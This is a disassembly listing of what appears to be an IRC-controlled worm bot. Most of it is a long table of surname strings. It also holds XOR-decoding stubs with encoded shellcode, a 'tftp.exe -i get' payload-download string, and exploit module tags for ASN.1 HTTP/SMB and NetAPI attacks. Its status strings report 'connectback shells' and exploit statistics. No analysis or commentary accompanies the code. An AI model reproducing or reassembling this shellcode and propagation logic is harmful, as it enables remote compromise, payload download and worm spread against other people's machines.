aCascio		db 'Cascio',0           ; DATA XREF: .nsp0:00430D94o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .nsp0:00430D90o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .nsp0:00430D8Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .nsp0:00430D88o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .nsp0:00430D84o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .nsp0:00430D80o
aCarlos		db 'Carlos',0           ; DATA XREF: .nsp0:00430D7Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .nsp0:00430D78o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .nsp0:00430D74o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .nsp0:00430D70o
aCapursi	db 'Capursi',0          ; DATA XREF: .nsp0:00430D6Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .nsp0:00430D68o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .nsp0:00430D64o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .nsp0:00430D60o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .nsp0:00430D5Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .nsp0:00430D58o
aCanley		db 'Canley',0           ; DATA XREF: .nsp0:00430D54o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .nsp0:00430D50o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .nsp0:00430D4Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .nsp0:00430D48o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .nsp0:00430D44o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .nsp0:00430D40o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .nsp0:00430D3Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .nsp0:00430D38o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .nsp0:00430D34o
aBurridge	db 'Burridge',0         ; DATA XREF: .nsp0:00430D30o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .nsp0:00430D2Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .nsp0:00430D28o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .nsp0:00430D24o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: .nsp0:00430D20o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .nsp0:00430D1Co
aBudding	db 'Budding',0          ; DATA XREF: .nsp0:00430D18o
aBuchan		db 'Buchan',0           ; DATA XREF: .nsp0:00430D14o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .nsp0:00430D10o
aBrook		db 'Brook',0            ; DATA XREF: .nsp0:00430D0Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .nsp0:00430D08o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .nsp0:00430D04o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: .nsp0:00430D00o
aBridges	db 'Bridges',0          ; DATA XREF: .nsp0:00430CFCo
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .nsp0:00430CF8o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .nsp0:00430CF0o
					; .nsp0:00430CF4o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .nsp0:00430CECo
aBrenan		db 'Brenan',0           ; DATA XREF: .nsp0:00430CE8o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .nsp0:00430CE4o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .nsp0:00430CE0o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .nsp0:00430CDCo
aBradac		db 'Bradac',0           ; DATA XREF: .nsp0:00430CD8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .nsp0:00430CD4o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .nsp0:00430CD0o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .nsp0:00430CCCo
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .nsp0:00430CC8o
aBoyes		db 'Boyes',0            ; DATA XREF: .nsp0:00430CC4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .nsp0:00430CC0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .nsp0:00430CBCo
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .nsp0:00430CB8o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .nsp0:00430CB4o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .nsp0:00430CB0o
aBoudin		db 'Boudin',0           ; DATA XREF: .nsp0:00430CACo
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .nsp0:00430CA8o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .nsp0:00430CA4o
aBossi		db 'Bossi',0            ; DATA XREF: .nsp0:00430CA0o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .nsp0:00430C9Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .nsp0:00430C98o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .nsp0:00430C94o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .nsp0:00430C90o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .nsp0:00430C8Co
		align 10h
aBook_0		db 'Book',0             ; DATA XREF: .nsp0:00430C88o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .nsp0:00430C84o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .nsp0:00430C80o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .nsp0:00430C7Co
		align 4
aBoner_0	db 'Boner',0            ; DATA XREF: .nsp0:00430C78o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .nsp0:00430C74o
aBollinger	db 'Bollinger',0        ; DATA XREF: .nsp0:00430C70o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .nsp0:00430C6Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .nsp0:00430C68o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .nsp0:00430C64o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .nsp0:00430C60o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .nsp0:00430C5Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .nsp0:00430C58o
aBloch		db 'Bloch',0            ; DATA XREF: .nsp0:00430C54o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .nsp0:00430C50o
aBliss		db 'Bliss',0            ; DATA XREF: .nsp0:00430C4Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .nsp0:00430C48o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .nsp0:00430C44o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .nsp0:00430C40o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .nsp0:00430C3Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .nsp0:00430C38o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .nsp0:00430C34o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: .nsp0:00430C30o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .nsp0:00430C2Co
aBinion		db 'Binion',0           ; DATA XREF: .nsp0:00430C28o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .nsp0:00430C24o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .nsp0:00430C20o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .nsp0:00430C1Co
aBetti		db 'Betti',0            ; DATA XREF: .nsp0:00430C18o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .nsp0:00430C14o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .nsp0:00430C10o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .nsp0:00430C0Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .nsp0:00430C08o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .nsp0:00430C04o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .nsp0:00430C00o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .nsp0:00430BFCo
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .nsp0:00430BF8o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .nsp0:00430BF4o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .nsp0:00430BF0o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .nsp0:00430BECo
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .nsp0:00430BE8o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .nsp0:00430BE4o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .nsp0:00430BE0o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: .nsp0:00430BDCo
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .nsp0:00430BD8o
aBedford	db 'Bedford',0          ; DATA XREF: .nsp0:00430BD4o
aBeder		db 'Beder',0            ; DATA XREF: .nsp0:00430BD0o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .nsp0:00430BCCo
aBean		db 'Bean',0             ; DATA XREF: .nsp0:00430BC8o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .nsp0:00430BC4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .nsp0:00430BC0o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .nsp0:00430BBCo
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .nsp0:00430BB8o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .nsp0:00430BB4o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .nsp0:00430BB0o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .nsp0:00430BACo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .nsp0:00430BA8o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .nsp0:00430BA4o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .nsp0:00430BA0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .nsp0:00430B9Co
aBarry		db 'Barry',0            ; DATA XREF: .nsp0:00430B98o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .nsp0:00430B94o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .nsp0:00430B90o
aBarneson	db 'Barneson',0         ; DATA XREF: .nsp0:00430B8Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .nsp0:00430B88o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .nsp0:00430B84o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .nsp0:00430B80o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .nsp0:00430B7Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .nsp0:00430B78o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .nsp0:00430B74o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .nsp0:00430B70o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .nsp0:00430B6Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .nsp0:00430B68o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .nsp0:00430B64o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .nsp0:00430B60o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .nsp0:00430B5Co
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .nsp0:00430B58o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .nsp0:00430B54o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .nsp0:00430B50o
aBady		db 'Bady',0             ; DATA XREF: .nsp0:00430B4Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .nsp0:00430B48o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .nsp0:00430B44o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .nsp0:00430B40o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: .nsp0:00430B3Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .nsp0:00430B38o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .nsp0:00430B34o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .nsp0:00430B30o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .nsp0:00430B2Co
aAurelius	db 'Aurelius',0         ; DATA XREF: .nsp0:00430B28o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .nsp0:00430B24o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .nsp0:00430B20o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .nsp0:00430B1Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .nsp0:00430B18o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .nsp0:00430B14o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .nsp0:00430B10o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .nsp0:00430B0Co
aArbia		db 'Arbia',0            ; DATA XREF: .nsp0:00430B08o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .nsp0:00430B04o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .nsp0:00430B00o
aAnsley		db 'Ansley',0           ; DATA XREF: .nsp0:00430AFCo
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .nsp0:00430AF8o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .nsp0:00430AF4o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .nsp0:00430AF0o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .nsp0:00430AECo
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .nsp0:00430AE8o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .nsp0:00430AE4o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .nsp0:00430AE0o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .nsp0:00430ADCo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .nsp0:00430AD8o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .nsp0:00430AD4o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .nsp0:00430AD0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .nsp0:00430ACCo
aAltavilla	db 'Altavilla',0        ; DATA XREF: .nsp0:00430AC8o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .nsp0:00430AC4o
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: .nsp0:00430AC0o
aAleks		db 'Aleks',0            ; DATA XREF: .nsp0:00430ABCo
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .nsp0:00430AB8o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .nsp0:00430AB4o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .nsp0:00430AB0o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .nsp0:00430AACo
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .nsp0:00430AA8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .nsp0:00430AA4o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .nsp0:00430AA0o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .nsp0:00430A9Co
aAdams		db 'Adams',0            ; DATA XREF: .nsp0:00430A98o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .nsp0:00430A94o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .nsp0:off_430A90o
		align 4
aPc_0		db 'PC',0               ; DATA XREF: .nsp0:00409E58o
		align 4
aS_2		db '%s|',0              ; DATA XREF: .nsp0:00409ED9o
aS_3		db '[%s]|',0            ; DATA XREF: .nsp0:00409FE3o
		align 4
a???		db '???',0              ; DATA XREF: .nsp0:loc_409FDAo
					; sub_4179BF:loc_417A82o
a2k3		db '2K3',0              ; DATA XREF: .nsp0:00409FD3o
a2k		db '2K',0               ; DATA XREF: .nsp0:00409FB5o
					; sub_4179BF+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .nsp0:00409F9Co
					; sub_4179BF+7Eo
		align 4
a98		db '98',0               ; DATA XREF: .nsp0:00409F8Co
					; sub_4179BF+6Co
		align 4
aNt_0		db 'NT',0               ; DATA XREF: .nsp0:00409F7Co
					; sub_4179BF+5Ao
		align 10h
a95		db '95',0               ; DATA XREF: .nsp0:00409F6Eo
					; sub_4179BF+46o
		align 4
aDS		db '[%d]%s',0           ; DATA XREF: sub_40A029+3Ao
		align 4
aM_1		db '[M]',0              ; DATA XREF: sub_40A029+2Co
					; sub_40A029+51o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40A029+18o
					; sub_41582A+5o
		align 4
		jmp	short loc_43472C
; ---------------------------------------------------------------------------


loc_43472A:				; CODE XREF: .nsp0:loc_43472Cp
		jmp	short loc_434731
; ---------------------------------------------------------------------------


loc_43472C:				; CODE XREF: .nsp0:00434728j
		call	loc_43472A


loc_434731:				; CODE XREF: .nsp0:loc_43472Aj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_434738:				; CODE XREF: .nsp0:0043473Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_434738
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_43474E:				; CODE XREF: .nsp0:00434753j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_43474E
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4347F0
		jnz	short loc_4347DC
		retn
; ---------------------------------------------------------------------------


loc_4347DC:				; CODE XREF: .nsp0:004347D9j
					; .nsp0:004347E9j
		call	near ptr loc_4347E1+1


loc_4347E1:				; CODE XREF: .nsp0:loc_4347DCp
		add	[edx+0], ch
		call	sub_4347F0
		jz	loc_4347DC
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4347F0	proc near		; CODE XREF: .nsp0:004347D4p
					; .nsp0:004347E4p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4347F0	endp

; ---------------------------------------------------------------------------
		align 4
dword_43481C	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40A1ED+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40A3B8+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40A3B8+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40A8BF+4Fo
					; sub_40B14D+155o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40A7F9+30o
		align 4
		dd 5 dup(0)
dword_434898	dd 0B98h		; DATA XREF: sub_401AA1+189Dr
					; sub_401AA1+18C6o ...
off_43489C	dd offset sub_40D964	; DATA XREF: sub_40B14D+1D7r
dword_4348A0	dd 0			; DATA XREF: sub_40A66C+2Eo
					; .nsp0:0040C49Cr ...
dword_4348A4	dd 1			; DATA XREF: sub_40AAE8+1Fr
dword_4348A8	dd 1			; DATA XREF: sub_40AAE8+3AAr
dword_4348AC	dd 0			; DATA XREF: sub_40AAE8+285r
aNet1		db 'net1',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40CF67h, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40CF67h, 0
		dd 1, 2	dup(0)
aNet2		db 'net2',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40D453h, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40D453h, 0
		dd 1, 2	dup(0)
aNet3		db 'net3',0
		align 4
		dd 454E0000h, 49504154h, 6 dup(0)
		dd 8Bh,	40D824h, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 33h, 454E0000h, 49504154h, 6 dup(0)
		dd 1BDh, 40D824h, 0
		dd 1, 2	dup(0)
aXmass		db 'xmass',0
		align 4
		dd 616C0000h, 3331646Eh, 39h, 5	dup(0)
		dd 8Bh,	40C89Bh, 0
		dd 2 dup(1), 0
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 4
		dd 4 dup(0)
		dd 50h,	40C2E0h, 0
		dd 2 dup(1), 0
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 0E0000001h
		retn	40h
; ---------------------------------------------------------------------------
		dd 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40C2E0h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_434B7A	db 1			; DATA XREF: sub_401AA1:loc_4032B7r
					; sub_401AA1+1820o
aXmass_0	db 'xmass',0
		align 4
		dd 656E0100h, 3374h, 0
		dd 1, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_434BB2

; =============== S U B	R O U T	I N E =======================================



sub_434BA2	proc near		; CODE XREF: sub_434BA2:loc_434BB2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_434BAA:				; CODE XREF: sub_434BA2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_434BAA
		jmp	short loc_434BB7
; ---------------------------------------------------------------------------


loc_434BB2:				; CODE XREF: .nsp0:00434BA0j
		call	sub_434BA2


loc_434BB7:				; CODE XREF: sub_434BA2+Ej
		jo	short near ptr dword_434B34+1Eh
		cwde
		cdq
		cdq
		retn
sub_434BA2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40A66C+85o
		align 4
dword_434D34	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40A66C+46o
unk_434D40	db  2Dh	; -		; DATA XREF: sub_40A66C+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_434D60	db  2Dh	; -		; DATA XREF: sub_40A73A+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_434DA8	db  2Dh	; -		; DATA XREF: sub_40A7A5+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40A7F9+7Eo
dword_434DE4	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40A7F9+40o
dword_434DF4	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40A7F9+14o
		dd 7473694Ch, 3Ah
unk_434E10	db  2Dh	; -		; DATA XREF: sub_40A8BF+16Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_434E44	db  2Dh	; -		; DATA XREF: sub_40A8BF+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_434E74	db  2Dh	; -		; DATA XREF: sub_40AA71+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_434E94	db  2Dh	; -		; DATA XREF: sub_40AA71+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_434EB0	db  2Dh	; -		; DATA XREF: sub_40AAE8+4C5o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server, error: <%d>.',0
		align 4
unk_434EE4	db  2Dh	; -		; DATA XREF: sub_40AAE8+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_26	db '- Failed to start server, error: <%d>.',0
unk_434F1C	db  2Dh	; -		; DATA XREF: sub_40AAE8+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_434F4C	db  2Dh	; -		; DATA XREF: sub_40AAE8+25Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_434F80	db  2Dh	; -		; DATA XREF: sub_40AAE8+1FFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_434FB4	db  2Dh	; -		; DATA XREF: sub_40AAE8+137o
		db 3, 34h, 2
		db  74h	; t
